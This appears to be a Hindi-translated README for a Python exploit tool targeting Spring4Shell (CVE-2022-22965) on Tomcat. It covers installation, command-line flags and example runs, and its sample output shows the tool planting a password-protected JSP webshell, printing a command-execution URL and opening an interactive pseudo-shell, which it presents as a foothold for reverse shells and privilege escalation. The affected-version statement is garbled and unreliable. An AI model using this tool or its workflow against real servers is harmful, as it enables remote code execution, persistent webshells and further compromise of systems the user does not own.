
spring4shell | CVE-2022-22965
CVE-2022-22965 का एक पायथन कार्यान्वयन जो उपयोगकर्ता को ssh सत्र की शैली में एक प्रॉम्प्ट प्रदान करता है।
स्क्रिप्ट को समझने और निष्पादित करने में आसान बनाने के लिए डिज़ाइन किया गया है, जिसमें पठनीयता और पहुंच क्षमता दोनों - उपयोगकर्ता की पसंद पर निर्भर करता है। टॉमकैट सर्वर पर कमजोरी का शोषण करने के लिए डिज़ाइन किया गया है। सर्वर पर fileDateFormat फ़ील्ड को स्क्रिप्ट के भाग के रूप में सेट और अनसेट किया जाएगा जो एक्सप्लॉइट को कई बार चलाने की अनुमति देता है। सफाई की आवश्यकता हो सकती है।
जावा स्प्रिंग फ्रेमवर्क के संस्करण 5.2 से पहले, साथ ही संस्करण 5.3.0-17 और 5.2.0-19 में और जावा डेवलपमेंट किट के संस्करण 9 या उससे अधिक पर चलने पर पाई गई कमजोरी।
अधिक जानकारी:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-22965
एक्सप्लॉइट चलाने के लिए requests मॉड्यूल और BeautifulSoup मॉड्यूल आवश्यक हैं। इन्हें इस प्रकार स्थापित किया जा सकता है:
pip3 install bs4
pip3 install requests
अन्य सभी मॉड्यूल python3 में निर्मित हैं।
स्क्रिप्ट को चलाने के लिए केवल कमजोर सर्वर का url चाहिए। हालाँकि पहुँच में आसानी आदि के लिए अन्य फ़्लैग भी हैं।
--help का आउटपुट:
usage: spring4shell_v3.py [-h] [-f FILENAME] [-p PASSWORD] [-d DIRECTORY] [-a] [-n] address
spring4shell_v3.py exploits an RCE vulnerability in
applications running spring core java framework.
positional arguments:
address ip/hostname, port, sub-directories to the vulnerable spring core framework on tomcat
optional arguments:
-h, --help show this help message and exit
-f FILENAME, --filename FILENAME
name of the file to create and upload
-p PASSWORD, --password PASSWORD
password to protect the uploaded shell
-d DIRECTORY, --directory DIRECTORY
The upload path for the file
-a, --accessible turns off features which may negatively affect screen readers
-n, --no-colour removes colour output
example:
spring4shell_v3.py http://10.10.10.10/
spring4shell_v3.py http://hostname:8080/ -p 'password123'
spring4shell_v3.py http://10.10.10.10/subdir/ -a -f 'jsp-shell'
उदाहरण आउटपुट:
./spring4shell http://spring-vuln.local
/ / | / / /
___ ___ ___ ___ ___ (___| ___ (___ ___ ( (
|___ | )| )| | )| ) )|___ | )|___)| |
__/ |__/ | | | / |__/ / __/ | / |__ | |
| __/
CVE-2022-22965.
[i] attempting to change tomcat log variables.
[+] log variables set successfully.
[+] attempting to change tomcat log location variables.
[+] log successfully modified.
[i] waiting for tomcat changes.
[i] sending the webshell.
[i] resetting the log variables.
[i] shell location:
[i] http://spring-vuln.local/20df2b10c787d5ae.jsp?pwd=bd72c5e8&cmd=whoami
[i] or run commands here. type 'exit' to quit.
spring4shell:[email protected] $ whoami
service
spring4shell:[email protected] $
यह कहने की आवश्यकता नहीं है कि स्क्रिप्ट उपयोगकर्ता को पूर्ण शेल प्रदान नहीं करती है, बल्कि लक्ष्य पर पूर्ण रिवर्स शेल, प्रिवेस्क आदि प्राप्त करने के लिए एक प्लेटफ़ॉर्म के रूप में डिज़ाइन की गई है।
स्क्रिप्ट कमजोर सर्वर चलाने वाले उपयोगकर्ता/सेवा को प्राप्त करने का प्रयास करती है ताकि इसका उपयोग प्रोग्राम में छद्म कमांड प्रॉम्प्ट के भाग के रूप में किया जा सके, हालाँकि यह हमेशा विश्वसनीय नहीं होता है।
स्क्रिप्ट मुख्य रूप से एक एकल एक्सप्लॉइट के लिए पायथन स्क्रिप्टिंग में एक अभ्यास था जिसमें पठनीयता और पहुंच क्षमता दोनों को ध्यान में रखा गया था। उपयोग में आसानी और समझने में आसानी के लिए डिज़ाइन किया गया है। सामान्य अपवादों को संभालने का प्रयास करता है।
https://skerritt.blog/a11y/ - पहुंच क्षमता कार्यान्वयन।